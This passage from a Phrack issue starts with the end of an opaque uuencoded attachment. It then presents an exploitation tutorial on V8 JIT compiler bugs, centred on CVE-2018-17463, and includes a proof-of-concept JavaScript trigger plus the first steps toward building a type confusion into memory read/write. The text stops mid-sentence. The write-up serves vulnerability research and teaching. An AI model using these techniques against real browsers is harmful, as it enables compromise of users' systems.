MH&&O7KQ^L?_ZY?[N:SS7'T01X!5L.V,_87V13]I'^>;('R>HL.+R@KRU4%HN MR_#OG2PKK;KULO+ANSSR,VBOKGHD(04O/HP.:W5#/+&@)G;*S=V][W9WJY$O,V59T?-'?HB'>[=6 M4"@$G_Q[EO?_N7I@_Y\=)J'M9_Q_7NT\^?\\C/_/!!.J%+O_J!AC_9_;AZT. MA(7M0#"T]WT58RS["CY67I[,GA7@I6B1JCHC!RZCHF:PB,5'CB0O^>_-_[J9W;WTLX/_LQVN+_^^^>O'D__D@ M'YVU?^BUC[LF2Y>/Y+/L@8S]4U-9X_'G.[B-X,HI9+4&"Q*-/K&>QT'_)_[' M`**`?"'ZW]U_9-;HO3=J,DEF MDS(EL!JSF(DGFY#KOK;&^\7"JFYM6\052;;#,^BJT]V:\4?;A\&G8`RW;]NL MIBKP'U5K$K4M-M2USL%_=EGS5X'/)+%9[-]L19I]-.UYD0<^ZY$I>6U%:P2` MXYMA6EMC7]ZR`C`L=G"&QEBARVFT"?%6!NFF/PY]5#!M_L(>\OOV_Y/) M^+LY$6NP^8E"<;`GTQ^^V]H1C3LJ3=AI>6OB;4:L#,[`T>Z1&OQV%^-O;Q^' M%[$?WVSC#$2C+Z+K*>H-Q4>V' M$`_@)!B&ONL%'@KL%_KA)-N%N)YPS-`>R>:8[5(#4B"`^H`!*+X4$*)_MH;= M7T_DJJU]X[4Z1VO_:OR?L./^^EC`__?W=_9L_K^_]^*)_S](_@>,$L89!(\9 MYM$U#8;?;@S]"3V3<<[_W__U]G9VWWC_'4X8+P[GDYR4$-N8T% MRZ4#8]6"%*#.?5#6PU=E+#8)[-%>ZQKL,$`R!R,(.93'42 M):DW#C\&8XC^IB\MQWCHE?=6E4ALE.0`_TOK_+3?_=!LMKI=@H:#),C:PG@9 MA M15_2#9*!K5HM&&EMX\U.;7MW9\?[_@L[G'E[%>N,ZN7O[BJSY_SV)!E`:B%8UK0;&%.,L6%VQ' MQ4^M/&^GZN9GR`Q@VU^6$^@##\:#B-^(*MA+#J.>:AT_Z7](UOIB\C^H>S+R M/_OG2?Y_6/WO2:-]:FA_Q0-SGX8++^M2B1=\TN=^G?0/)ZM[//Z7H/_,^7_O MY=X3_3_(^9\G80S1E7;,!).K:`S>$>(P@,=N#!(.,20HVTDTF85@ZWX=39^G M[$AUL_5$^E\Y_5]]0?I_O;.;I?^G_*\/\E&!>2$4_#;\,;1S2IN_K;Y:)D%, M]#9OC?D#^01^@WR>0O29RTE:][:VMFK>:?K?ZZ@NC$OXTJY#GQB7H12_U[+8ZW5`7<`VCJ4)8T&\UC/J#:#H- M!FD?DE'A-U3G.K2-8!I]&0R;2O#;LAQA<,!?_63 M(+V*AE5M@&L5\``C-5>_]=<>Z[AQW#]I]=YW#OOGK>-6H]LBUQA-^[0K/9>] M'?=7Z3OC5$*Z76@(IJ@.Y5>Q[4/;4TS"SNU4DV_270Z=Q%5!'C;)&`\:,N5$ M_S&756;SI@MDMP/(8DWM16,'2$A("@2:70 MUIQ?":S=T&'/NI3.F]Q'B'OVS-*X/#:#D@^\S?X&L9)W,&C);SL4W@K>&"W_ M32'G8;L)B:0;Y[]B@"E9K<+=(\T1H3?D#\);P7A';M)I/)C=5-F3NK?^/3C5 M_HA.!?#<3\7SC\'-CW(Q?@F'Z=7WV_#,412B,8R"^$^WQ8]%3;X/X.YS MM6VV*"5>Z::7;KDL',HW##F[DK,@YAV4@<<2K6L.G`M;?O/ZY9L7KU[NOBG? M?#OY:1Q=^./3;;L4R\`^-7I1&+P$ M^D(;.C6K)5VR$2>9W7I(!V$*C:%'[QV;RC*6NS;EA-?N+>%U'ET7M[1FM[4M ML8,0-F";Z_"^4&EG%;BTU!;SA$TKQ::]%\NA4TOB4B'WVS;XV7:"5K27\-;[ M%KRJQL$4?M2R6Q'EN;1&N?/Y3^/Q9VVD=7YFRTY>'^_=3R'-\U:CU]*#)>WP MF`;H]:\FPJ:E3B:BK"'Z*>=V34R\S5E%6@-)H.7Z^6^8$C0&2Q+R]4;-%$W9 M#!0FN!QP$Y5C<$@@*@[3%J) M7`A1^V#9 MD*2PCJ!5Y4$RHW[('D$8>AAH&JOG/,\L&NE14FXR8Q)T>!4E*4Z%E:6&J]@7 M/D^"\665L8-G6I<"YTK1QA&:#LF0+]2,!\TLB((A3#0W&W\U(7,WIL[B^LKB,/>[K3YLK23GR'B M;A4&X#U[!D%RQ6JH0J?!YQ1+U/#L;(.B,V-LC=?C:NS43S[*58(0+0IQ<&3Y M$Z586*PXFQA$`>7AKLQ(/IR=$UBD/FZ"LGR5#NL;>]ZFM[LC>Y-5J`/&@9(@ MY4_)UJGNR:HU5?=W4UWC6*,?]#7:$/3%QJ/FK`4A#B435.3PNQ7<8^WWIUN[ MU=[_932_#WO_M_MR_W56__]T__=`]_]KE<99&W?3"S\)!W"[/YE/>;(3TG@: MV_D'QLR:XY#)TQAX)_<"43S.O4%415";NHU_C\,+O%U4]XMJ8\CXISI>.=X9 M^XF>1W3=F-=ZS579+<7*)G9J)>IP_;NLM.OLR5*,:N/<^7S0?./J*"-:>BO\ M(+]G(UV-0/7NRZBT%_:[DAL@PQHNBY2/V3@&^+_F+7,O9F"+[G]?[-OYG_=> M[3_%?WG@^U_39ZK@ZM=Q4;QX%Y"/R8@C[R6<#O+>I>$DR'T7^[/$\5*T)YDG ML%9P`V@<'W>:BI-7(=$DP\6:O,\V&,%(NBG`,Q),>3G]C#?J3Y(1_DC^IKP/ M.@?_V6KVE/.!O/+B+4C.,M*<(?0&,NX+ZJXMYRBO&=VCV,]#-0##N@CZT:<@ M1G\$QZ&>9\SCF34"'@^1G:;8S#QV/AI<>`3$P'F&.3V(O"@S7\2%I\Y5>0'8_N5\/*YFCH6L M-]7&>?NG]^QOJ]EJ_]PR7PGUV#,V;/P7!K"<)LQ8951/B""8#)^4%Y%;*28` M#LZ&%)%OV;M[;=DOP_&X#[^S:'G$7B6H'X+W))42?L!3/Q5(R3$1,(6ARI8C M/G.(+JJS:)J$%^,`Y5X<,B@(YC.=A+UPRBHE`7AZ`ASF<;`*Y):SK"YG.6+X MLU5RO;)L;B.=LH1FHC2=V:RR[CVKZAPN_'NME+HBHW65/FHF@PD2C!%/GEW8 MLHURMKZA7-!/%^R-&*I)(;Y%8\8,KP/2%;-Q4CA#7I.0#VT[1N&GP)LGX#9% MWEZWPCYM![AO_#-A<`=L)(,/,7+0&96P]\`K$+';:/",P-9\K(&>00%^,%SY M%$;SA&TW(',/)?G#CD,U956G'C&:N]%;+3("W,%<-<="BVB2#3 M$!^T^=08=E&"IER7TBP*H0O0`O?5\C)C9B/5]O1W2U]"0F4@?:B_ MX(*E#!N_PP!HJ]/WM_6%%IIF_I"2Y.=0ZY?B-KS;HH2.P%G8%HOI6HF=\&`< MR%$DGYU$P_DX6)3KT>6\3&A2?J(FY0$!<5C)*Z+F.$IL(B.X.XZ=1$L+(:6[ MV.MB%C"6+/A^"E*2=E"6YY%-G-(9;]-C4@\[("8BODDX'0:?;6AJ9S,.5/VT M5G*P*O8)]E'V9I;?)T$5[\KIGK>D_O_JX?7_.[N[ M.SL9_?]3_(>'^12H[H5[Y_M6XXPXLNGE:3Z7+_*W6M*TO]#N3`NX/Q6NYK?F M;7M[-?RS5E[(Y\$KBMDO+Y0G`?+7M]\HWZU"#GI'(NI&IC[OE@=G=D>$=]8$ ENS->"(*9RD`?AN.IL>A/7O]/GZ?/T^?I\]5^_C\`W);'`#`"```` ` end |=[ EOF ]=---------------------------------------------------------------=| ============== Page 9/13 ============== ==Phrack Inc.== Volume 0x10, Issue 0x46, Phile #0x09 of 0x0f |=-----------------------------------------------------------------------=| |=---------------=[ The Art of Exploitation ]=---------------=| |=-----------------------------------------------------------------------=| |=----------------=[ Compile Your Own Type Confusions ]=-----------------=| |=---------=[ Exploiting Logic Bugs in JavaScript JIT Engines ]=---------=| |=-----------------------------------------------------------------------=| |=----------------------------=[ saelo ]=--------------------------------=| |=-----------------------=[ phrack@saelo.net ]=--------------------------=| |=-----------------------------------------------------------------------=| --[ Table of contents 0 - Introduction 1 - V8 Overview 1.1 - Values 1.2 - Maps 1.3 - Object Summary 2 - An Introduction to Just-in-Time Compilation for JavaScript 2.1 - Speculative Just-in-Time Compilation 2.2 - Speculation Guards 2.3 - Turbofan 2.4 - Compiler Pipeline 2.5 - A JIT Compilation Example 3 - JIT Compiler Vulnerabilities 3.1 - Redundancy Elimination 3.2 - CVE-2018-17463 4 - Exploitation 4.1 - Constructing Type Confusions 4.2 - Gaining Memory Read/Write 4.3 - Reflections 4.4 - Gaining Code Execution 5 - References 6 - Exploit Code --[ 0 - Introduction This article strives to give an introduction into just-in-time (JIT) compiler vulnerabilities at the example of CVE-2018-17463, a bug found through source code review and used as part of the hack2win [1] competition in September 2018. The vulnerability was afterwards patched by Google with commit 52a9e67a477bdb67ca893c25c145ef5191976220 "[turbofan] Fix ObjectCreate's side effect annotation" and the fix was made available to the public on October 16th with the release of Chrome 70. Source code snippets in this article can also be viewed online in the source code repositories as well as on code search [2]. The exploit was tested on chrome version 69.0.3497.81 (64-bit), corresponding to v8 version 6.9.427.19. --[ 1 - V8 Overview V8 is Google's open source JavaScript engine and is used to power amongst others Chromium-based web browsers. It is written in C++ and commonly used to execute untrusted JavaScript code. As such it is an interesting piece of software for attackers. V8 features numerous pieces of documentation, both in the source code and online [3]. Furthermore, v8 has multiple features that facilitate the exploring of its inner workings: 0. A number of builtin functions usable from JavaScript, enabled through the --enable-natives-syntax flag for d8 (v8's JavaScript shell). These e.g. allow the user to inspect an object via %DebugPrint, to trigger garbage collection with %CollectGarbage, or to force JIT compilation of a function through %OptimizeFunctionOnNextCall. 1. Various tracing modes, also enabled through command-line flags, which cause logging of numerous engine internal events to stdout or a log file. With these, it becomes possible to e.g. trace the behavior of different optimization passes in the JIT compiler. 2. Miscellaneous tools in the tools/ subdirectory such as a visualizer of the JIT IR called turbolizer. --[ 1.1 - Values As JavaScript is a dynamically typed language, the engine must store type information with every runtime value. In v8, this is accomplished through a combination of pointer tagging and the use of dedicated type information objects, called Maps. The different JavaScript value types in v8 are listed in src/objects.h, of which an excerpt is shown below. // Inheritance hierarchy: // - Object // - Smi (immediate small integer) // - HeapObject (superclass for everything allocated in the heap) // - JSReceiver (suitable for property access) // - JSObject // - Name // - String // - HeapNumber // - Map // ... A JavaScript value is then represented as a tagged pointer of static type Object*. On 64-bit architectures, the following tagging scheme is used: Smi: [32 bit signed int] [31 bits unused] 0 HeapObject: [64 bit direct pointer] | 01 As such, the pointer tag differentiates between Smis and HeapObjects. All further type information is then stored in a Map instance to which a pointer can be found in every HeapObject at offset 0. With this pointer tagging scheme, arithmetic or binary operations on Smis can often ignore the tag as the lower 32 bits will be all zeroes. However, dereferencing a HeapObject requires masking off the least significant bit (LSB) first. For that reason, all accesses to data members of a HeapObject have to go through special accessors that take care of clearing the LSB. In fact, Objects in v8 do not have any C++ data members, as access to those would be impossible due to the pointer tag. Instead, the engine stores data members at predefined offsets in an object through mentioned accessor functions. In essence, v8 thus defines the in-memory layout of Objects itself instead of delegating this to the compiler. ----[ 1.2 - Maps The Map is a key data structure in v8, containing information such as * The dynamic type of the object, i.e. String, Uint8Array, HeapNumber, ... * The size of the object in bytes * The properties of the object and where they are stored * The type of the array elements, e.g. unboxed doubles or tagged pointers * The prototype of the object if any While the property names are usually stored in the Map, the property values are stored with the object itself in one of several possible regions. The Map then provides the exact location of the property value in the respective region. In general there are three different regions in which property values can be stored: inside the object itself ("inline properties"), in a separate, dynamically sized heap buffer ("out-of-line properties"), or, if the property name is an integer index [4], as array elements in a dynamically-sized heap array. In the first two cases, the Map will store the slot number of the property value while in the last case the slot number is the element index. This can be seen in the following example: let o1 = {a: 42, b: 43}; let o2 = {a: 1337, b: 1338}; After execution, there will be two JSObjects and one Map in memory: +----------------+ | | | map1 | | | | property: slot | | .a : 0 | | .b : 1 | | | +----------------+ ^ ^ +--------------+ | | | +------+ | | o1 | +--------------+ | | | | | slot : value | | o2 | | 0 : 42 | | | | 1 : 43 | | slot : value | +--------------+ | 0 : 1337 | | 1 : 1338 | +--------------+ As Maps are relatively expensive objects in terms of memory usage, they are shared as much as possible between "similar" objects. This can be seen in the previous example, where both o1 and o2 share the same Map, map1. However, if a third property .c (e.g. with value 1339) is added to o1, then the Map can no longer be shared as o1 and o2 now have different properties. As such, a new Map is created for o1: +----------------+ +----------------+ | | | | | map1 | | map2 | | | | | | property: slot | | property: slot | | .a : 0 | | .a : 0 | | .b : 1 | | .b : 1 | | | | .c : 2 | +----------------+ +----------------+ ^ ^ | | | | +--------------+ +--------------+ | | | | | o2 | | o1 | | | | | | slot : value | | slot : value | | 0 : 1337 | | 0 : 1337 | | 1 : 1338 | | 1 : 1338 | +--------------+ | 2 : 1339 | +--------------+ If later on the same property .c was added to o2 as well, then both objects would again share map2. The way this works efficiently is by keeping track in each Map which new Map an object should be transitioned to if a property of a certain name (and possibly type) is added to it. This data structure is commonly called a transition table. V8 is, however, also capable of storing the properties as a hash map instead of using the Map and slot mechanism, in which case the property name is directly mapped to the value. This is used in cases when the engine believes that the Map mechanism will induce additional overhead, such as e.g. in the case of singleton objects. The Map mechanism is also essential for garbage collection: when the collector processes an allocation (a HeapObject), it can immediately retrieve information such as the object's size and whether the object contains any other tagged pointers that need to be scanned by inspecting the Map. ----[ 1.3 - Object Summary Consider the following code snippet let obj = { x: 0x41, y: 0x42 }; obj.z = 0x43; obj[0] = 0x1337; obj[1] = 0x1338; After execution in v8, inspecting the memory address of the object shows: (lldb) x/5gx 0x23ad7c58e0e8 0x23ad7c58e0e8: 0x000023adbcd8c751 0x000023ad7c58e201 0x23ad7c58e0f8: 0x000023ad7c58e229 0x0000004100000000 0x23ad7c58e108: 0x0000004200000000 (lldb) x/3gx 0x23ad7c58e200 0x23ad7c58e200: 0x000023adafb038f9 0x0000000300000000 0x23ad7c58e210: 0x0000004300000000 (lldb) x/6gx 0x23ad7c58e228 0x23ad7c58e228: 0x000023adafb028b9 0x0000001100000000 0x23ad7c58e238: 0x0000133700000000 0x0000133800000000 0x23ad7c58e248: 0x000023adafb02691 0x000023adafb02691 ... First is the object itself which consists of a pointer to its Map (0x23adbcd8c751), the pointer to its out-of-line properties (0x23ad7c58e201), the pointer to its elements (0x23ad7c58e229), and the two inline properties (x and y). Inspecting the out-of-line properties pointer shows another object that starts with a Map (which indicates that this is a FixedArray) followed by the size and the property z. The elements array again starts with a pointer to the Map, followed by the capacity, followed by the two elements with index 0 and 1 and 9 further elements set to the magic value "the_hole" (indicating that the backing memory has been overcommitted). As can be seen, all values are stored as tagged pointers. If further objects were created in the same fashion, they would reuse the existing Map. --[ 2 - An Introduction to Just-in-Time Compilation for JavaScript Modern JavaScript engines typically employ an interpreter and one or multiple just-in-time compilers. As a unit of code is executed more frequently, it is moved to higher tiers which are capable of executing the code faster, although their startup time is usually higher as well. The next section aims to give an intuitive introduction rather than a formal explanation of how JIT compilers for dynamic languages such as JavaScript manage to produce optimized machine code from a script. ----[ 2.1 - Speculative Just-in-Time Compilation Consider the following two code snippets. How could each of them be compiled to machine code? // C++ int add(int a, int b) { return a + b; } // JavaScript function add(a, b) { return a + b; } The answer seems rather clear for the first code snippet. After all, the types of the arguments as well as the ABI, which specifies the registers used for parameters and return values, are known. Further, the instruction set of the target machine is available. As such, compilation to machine code might produce the following x86_64 code: lea eax, [rdi + rsi] ret However, for the JavaScript code, type information is not known. As such, it seems impossible to produce anything better than the generic add operation handler [5], which would only provide a negligible performance boost over the interpreter. As it turns out, dealing with missing type information is a key challenge to overcome for compiling dynamic languages to machine code. This can also be seen by imagining a hypothetical JavaScript dialect which uses static typing, for example: function add(a: Smi, b: Smi) -> Smi { return a + b; } In this case, it is again rather easy to produce machine code: lea rax, [rdi+rsi] jo bailout_integer_overflow ret This is possible because the lower 32 bits of a Smi will be all zeroes due to the pointer tagging scheme. This assembly code looks very similar to the C++ example, except for the additional overflow check, which is required since JavaScript does not know about integer overflows (in the specification all numbers are IEEE 754 double precision floating point numbers), but CPUs certainly do. As such, in the unlikely event of an integer overflow, the engine would have to transfer execution to a different, more generic execution tier like the interpreter. There it would repeat the failed operation and in this case convert both inputs to floating point numbers prior to adding them together. This mechanism is commonly called bailout and is essential for JIT compilers, as it allows them to produce specialized code which can always fall back to more generic code if an unexpected situation occurs. Unfortunately, for plain JavaScript the JIT compiler does not have the comfort of static type information. However, as JIT compilation only happens after several executions in a lower tier, such as the interpreter, the JIT compiler can use type information from previous executions. This, in turn, enables speculative optimization: the compiler will assume that a unit of code will be used in a similar way in the future and thus see the same types for e.g. the arguments. It can then produce optimized code like the one shown above assuming that the types will be used in the future. ----[ 2.2 Speculation Guards Of course, there is no guarantee that a unit of code will always be used in a similar way. As such, the compiler must verify that all of its type speculations still hold at runtime before executing the optimized code. This is accomplished through a number of lightweight runtime checks, discussed next. By inspecting feedback from previous executions and the current engine state, the JIT compiler first formulates various speculations such as "this value will always be a Smi", or "this value will always be an object with a specific Map", or even "this Smi addition will never cause an integer overflow". Each of these speculations is then verified to still hold at runtime with a short piece of machine code, called a speculation guard. If the guard fails, it will perform a bailout to a lower execution tier such as the interpreter. Below are two commonly used speculation guards: ; Ensure is Smi test rdi, 0x1 jnz bailout ; Ensure has expected Map cmp QWORD PTR [rdi-0x1], 0x12345601 jne bailout The first guard, a Smi guard, verifies that some value is a Smi by checking that the pointer tag is zero. The second guard, a Map guard, verifies that a HeapObject in fact has the Map that it is expected to have. Using speculation guards, dealing with missing type information becomes: 0. Gather type profiles during execution in the interpreter 1. Speculate that the same types will be used in the future 2. Guard those speculations with runtime speculation guards 3. Afterwards, produce optimized code for the previously seen types In essence, inserting a speculation guard adds a piece of static type information to the code following it. ----[ 2.3 Turbofan Even though an internal representation of the user's JavaScript code is already available in the form of bytecode for the interpreter, JIT compilers commonly convert the bytecode to a custom intermediate representation (IR) which is better suited for the various optimizations performed. Turbofan, the JIT compiler inside v8, is no exception. The IR used by turbofan is graph-based, consisting of operations (nodes) and different types of edges between them, namely * control-flow edges, connecting control-flow operations such as loops and if conditions * data-flow edges, connecting input and output values * effect-flow edges, which connect effectual operations such that they are scheduled correctly. For example: consider a store to a property followed by a load of the same property. As there is no data- or control-flow dependency between the two operations, effect-flow is needed to correctly schedule the store before the load. Further, the turbofan IR supports three different types of operations: JavaScript operations, simplified operations, and machine operations. Machine operations usually resemble a single machine instruction while JS operations resemble a generic bytecode instruction. Simplified operations are somewhere in between. As such, machine operations can directly be translated into machine instructions while the other two types of operations require further conversion steps to lower-level operations (a process called lowering). For example, the generic property load operations could be lowered to a CheckHeapObject and CheckMaps operation followed by a 8-byte load from an inline slot of an object. A comfortable way to study the behavior of the JIT compiler in various scenarios is through v8's turbolizer tool [6]: a small web application that consumes the output produced by the --trace-turbo command line flag and renders it as an interactive graph. ----[ 2.4 Compiler Pipeline Given the previously described mechanisms, a typical JavaScript JIT compiler pipeline then looks roughly as follows: 0. Graph building and specialization: the bytecode as well as runtime type profiles from the interpreter are consumed and an IR graph, representing the same computations, is constructed. Type profiles are inspected and based on them speculations are formulated, e.g. about which types of values to see for an operation. The speculations are guarded with speculation guards. 1. Optimization: the resulting graph, which now has static type information due to the guards, is optimized much like "classic" ahead-of-time (AOT) compilers do. Here an optimization is defined as a transformation of code that is not required for correctness but improves the execution speed or memory footprint of the code. Typical optimizations include loop-invariant code motion, constant folding, escape analysis, and inlining. 2. Lowering: finally, the resulting graph is lowered to machine code which is then written into an executable memory region. From that point on, invoking the compiled function will result in a transfer of execution to the generated code. This structure is rather flexible though. For example, lowering could happen in multiple stages, with further optimizations in between them. In addition, register allocation has to be performed at some point, which is, however, also an optimization to some degree. ----[ 2.5 - A JIT Compilation Example This chapter is concluded with an example of the following function being JIT compiled by turbofan: function foo(o) { return o.b; } During parsing, the function would first be compiled to generic bytecode, which can be inspected using the --print-bytecode flag for d8. The output is shown below. Parameter count 2 Frame size 0 12 E> 0 : a0 StackCheck 31 S> 1 : 28 02 00 00 LdaNamedProperty a0, [0], [0] 33 S> 5 : a4 Return Constant pool (size = 1) 0x1fbc69c24ad9: [FixedArray] in OldSpace - map: 0x1fbc6ec023c1 - length: 1 0: 0x1fbc69c24301 The function is mainly compiled to two operations: LdaNamedProperty, which loads property .b of the provided argument, and Return, which returns said property. The StackCheck operation at the beginning of the function guards against stack overflows by throwing an exception if the call stack size is exceeded. More information about v8's bytecode format and interpreter can be found online [7]. To trigger JIT compilation, the function has to be invoked several times: for (let i = 0; i < 100000; i++) { foo({a: 42, b: 43}); } /* Or by using a native after providing some type information: */ foo({a: 42, b: 43}); foo({a: 42, b: 43}); %OptimizeFunctionOnNextCall(foo); foo({a: 42, b: 43}); This will also inhabit the feedback vector of the function which associates observed input types with bytecode operations. In this case, the feedback vector entry for the LdaNamedProperty would contain a single entry: the Map of the objects that were given to the function as argument. This Map will indicate that property .b is stored in the second inline slot. Once turbofan starts compiling, it will build a graph representation of the JavaScript code. It will also inspect the feedback vector and, based on that, speculate that the function will always be called with an object of a specific Map. Next, it guards these assumptions with two runtime checks, which will bail out to the interpreter if the assumptions ever turn out to be false, then proceeds to emit a property load for an inline property. The optimized graph will ultimately look similar to the one shown below. Here, only data-flow edges are shown. +----------------+ | | | Parameter[1] | | | +-------+--------+ | +-------------------+ | | | +-------------------> CheckHeapObject | | | +----------+--------+ +------------+ | | | | | CheckMap <-----------------------+ | | +-----+------+ | +------------------+ | | | +-------------------> LoadField[+32] | | | +----------+-------+ +----------+ | | | | | Return <------------------------+ | | +----------+ This graph will then be lowered to machine code similar to the following. ; Ensure o is not a Smi test rdi, 0x1 jz bailout_not_object ; Ensure o has the expected Map cmp QWORD PTR [rdi-0x1], 0xabcd1234 jne bailout_wrong_map ; Perform operation for object with known Map mov rax, [rdi+0x1f] ret If the function were to be called with an object with a different Map, the second guard would fail, causing a bailout to the interpreter (more precisely to the LdaNamedProperty operation of the bytecode) and likely the discarding of the compiled code. Eventually, the function would be recompiled to take the new type feedback into account. In that case, the function would be re-compiled to perform a polymorphic property load (supporting more than one input type), e.g. by emitting code for the property load for both Maps, then jumping to the respective one depending on the current Map. If the operation becomes even more polymorphic, the compiler might decide to use a generic inline cache (IC) [8][9] for the polymorphic operation. An IC caches previous lookups but can always fall-back to the runtime function for previously unseen input types without bailing out of the JIT code. --[ 3 - JIT Compiler Vulnerabilities JavaScript JIT compilers are commonly implemented in C++ and as such are subject to the usual list of memory- and type-safety violations. These are not specific to JIT compilers and will thus not be discussed further. Instead, the focus will be put on bugs in the compiler which lead to incorrect machine code generation which can then be exploited to cause memory corruption. Besides bugs in the lowering phases [10][11] which often result in rather classic vulnerabilities like integer overflows in the generated machine code, many interesting bugs come from the various optimizations. There have been bugs in bounds-check elimination [12][13][14][15], escape analysis [16][17], register allocation [18], and others. Each optimization pass tends to yield its own kind of vulnerabilities. When auditing complex software such as JIT compilers, it is often a sensible approach to determine specific vulnerability patterns in advance and look for instances of them. This is also a benefit of manual code auditing: knowing that a particular type of bug usually leads to a simple, reliable exploit, this is what the auditor can look for specifically. As such, a specific optimization, namely redundancy elimination, will be discussed next, along with the type of vulnerability one can find there and a concrete vulnerability, CVE-2018-17463, accompanied with an exploit. ----[ 3.1 - Redundancy Elimination One popular class of optimizations aims to remove safety checks from the emitted machine code if they are determined to be unnecessary. As can be imagined, these are very interesting for the auditor as a bug in those will usually result in some kind of type confusion or out-of-bounds access. One instance of these optimization passes, often called "redundancy elimination", aims to remove redundant type checks. As an example, consider the following code: function foo(o) { return o.a + o.b; } Following the JIT compilation approach outlined in chapter 2, the following IR code might be emitted for it: CheckHeapObject o CheckMap o, map1 r0 = Load [o + 0x18] CheckHeapObject o CheckMap o, map1 r1 = Load [o + 0x20] r2 = Add r0, r1 CheckNoOverflow Return r2 The obvious issue here is the redundant second pair of CheckHeapObject and CheckMap operations. In that case it is clear that the Map of o can not change between the two CheckMap operations. The goal of redundancy elimination is thus to detect these types of redundant checks and remove all but the first one on the same control-flow path. However, certain operations can cause side-effects: observable changes to the execution context. For example, a Call operation invoking a user supplied function could easily cause an object’s Map to change, e.g. by adding or removing a property. In that case, a seemingly redundant check is in fact required as the Map could change in between the two checks. As such it is essential for this optimization that the compiler knows about all effectful operations in its IR. Unsurprisingly, correctly predicting side effects of JIT operations can be quite hard due to to the nature of the JavaScript language. Bugs related to incorrect side effect predictions thus appear from time to time and are typically exploited by tricking the compiler into removing a seemingly redundant type check, then invoking the compiled code such that an object of an unexpected type is used without a preceding type check. Some form of type confusion then follows. Vulnerabilities related to incorrect modeling of side-effect can usually be found by locating IR operations which are assumed side-effect free by the engine, then verifying whether they really are side-effect free in all cases. This is how CVE-2018-17463 was found. ----[ 3.2 CVE-2018-17463 In v8, IR operations have various flags associated with them. One of them, kNoWrite, indicates that the engine assumes that an operation will not have observable side-effects, it does not "write" to the effect chain. An example for such an operation was JSCreateObject, shown below: #define CACHED_OP_LIST(V) \ ... \ V(CreateObject, Operator::kNoWrite, 1, 1) \ ... To determine whether an IR operation might have side-effects it is often necessary to look at the lowering phases which convert high-level operations, such as JSCreateObject, into lower-level instruction and eventually machine instructions. For JSCreateObject, the lowering happens in js-generic-lowering.cc, responsible for lowering JS operations: void JSGenericLowering::LowerJSCreateObject(Node* node) { CallDescriptor::Flags flags = FrameStateFlagForCall(node); Callable callable = Builtins::CallableFor( isolate(), Builtins::kCreateObjectWithoutProperties); ReplaceWithStubCall(node, callable, flags); } In plain english, this means that a JSCreateObject operation will be lowered to a call to the runtime function CreateObjectWithoutProperties. This function in turn ends up calling ObjectCreate, another builtin but this time implemented in C++. Eventually, control flow ends up in JSObject::OptimizeAsPrototype. This is interesting as it seems to imply that the prototype object may potentially be modified during said optimization, which could be an unexpected side-effect for the JIT compiler. The following code snippet can be run to check whether OptimizeAsPrototype modifies the object in some way: let o = {a: 42}; %DebugPrint(o); Object.create(o); %DebugPrint(o); Indeed, running it with `d8 --allow-natives-syntax` shows: DebugPrint: 0x3447ab8f909: [JS_OBJECT_TYPE] - map: 0x0344c6f02571 [FastProperties] ... DebugPrint: 0x3447ab8f909: [JS_OBJECT_TYPE] - map: 0x0344c6f0d6d1 [DictionaryProperties] As can be seen, the object's Map has changed when becoming a prototype so the object must have changed in some way as well. In particular, when becoming a prototype, the out-of-line property storage of the object was converted to dictionary mode. As such the pointer at offset 8 from the object will no longer point to a PropertyArray (all properties one after each other, after a short header), but instead to a NameDictionary (a more complex data structure directly mapping property names to values without relying on the Map). This certainly is a side effect and in this case an unexpected one for the JIT compiler. The reason for the Map change is that in v8, prototype Maps are never shared due to clever optimization tricks in other parts of the engine [19]. At this point it is time to construct a first proof-of-concept for the bug. The requirements to trigger an observable misbehavior in a compiled function are: 0. The function must receive an object that is not currently used as a prototype. 1. The function needs to perform a CheckMap operation so that subsequent ones can be eliminated. 2. The function needs to call Object.create with the object as argument to trigger the Map transition. 3. The function needs to access an out-of-line property. This will, after a CheckMap that will later be incorrectly eliminated, load the pointer to the property storage, then deference that believing that it is pointing to a PropertyArray even though it will point to a NameDictionary. The following JavaScript code snippet accomplishes this function hax(o) { // Force a CheckMaps node. o.a; // Cause unexpected side-effects. Object.create(o); // Trigger type-confusion because CheckMaps node is removed. return o.b; } for (let i = 0; i < 100000; i++) { let o = {a: 42}; o.b = 43; // will be stored out-of-line. hax(o); } It will first be compiled to pseudo IR code similar to the following: CheckHeapObject o CheckMap o, map1 Load [o + 0x18] // Changes the Map of o Call CreateObjectWithoutProperties, o CheckMap o, map1 r1 = Load [o + 0x8] // Load pointer to out-of-line properties r2 = Load [r1 + 0x10] // Load property value Return r2 Afterwards, the redundancy elimination pass will incorrectly remove the second Map check, yielding: CheckHeapObject o CheckMap o, map1 Load [o + 0x18] // Changes the Map of o Call CreateObjectWithoutProperties, o r1 = Load [o + 0x8] r2 = Load [r1 + 0x10] Return r2 When this JIT code is run for the first time, it will return a different value than 43, namely an internal fields of the NameDictionary which happens to be located at the same offset as the .b property in the PropertyArray. Note that in this case, the JIT compiler tried to infer the type of the argument object at the second property load instead of relying on the type feedback and thus, assuming the map wouldn’t change after the first type check, produced a property load from a FixedArray instead of a NameDictionary. --[ 4 - Exploitation The bug at hand allows the confusion of a PropertyArray with a NameDictionary. Interestingly, the NameDictionary still stores the property values inside a dynamically sized inline buffer of (name, value, flags) triples. As such, there likely exists a pair of properties P1 and P2 such that both P1 and P2 are located at offset O from the start of either the PropertyArray or the NameDictionary respectively. This is interesting for reasons explained in the next section. Shown next is the memory dump of the PropertyArray and NameDictionary for the same properties side by side: let o = {inline: 42}; o.p0 = 0; o.p1 = 1; o.p2 = 2; o.p3 = 3; o.p4 = 4; o.p5 = 5; o.p6 = 6; o.p7 = 7; o.p8 = 8; o.p9 = 9; 0x0000130c92483e89 0x0000130c92483bb1 0x0000000c00000000 0x0000006500000000 0x0000000000000000 0x0000000b00000000 0x0000000100000000 0x0000000000000000 0x0000000200000000 0x0000002000000000 0x0000000300000000 0x0000000c00000000 0x0000000400000000 0x0000000000000000 0x0000000500000000 0x0000130ce98a4341 0x0000000600000000 <-!-> 0x0000000200000000 0x0000000700000000 0x000004c000000000 0x0000000800000000 0x0000130c924826f1 0x0000000900000000 0x0000130c924826f1 ... ... In this case the properties p6 and p2 overlap after the conversion to dictionary mode. Unfortunately, the layout of the NameDictionary will be different in every execution of the engine due to some process-wide randomness being used in the hashing mechanism. It is thus necessary to first find such a matching pair of properties at runtime. The following code can be used for that purpose. function find_matching_pair(o) { let a = o.inline; this.Object.create(o); let p0 = o.p0; let p1 = o.p1; ...; return [p0, p1, ..., pN]; let pN = o.pN; } Afterwards, the returned array is searched for a match. In case the exploit gets unlucky and doesn't find a matching pair (because all properties are stored at the end of the 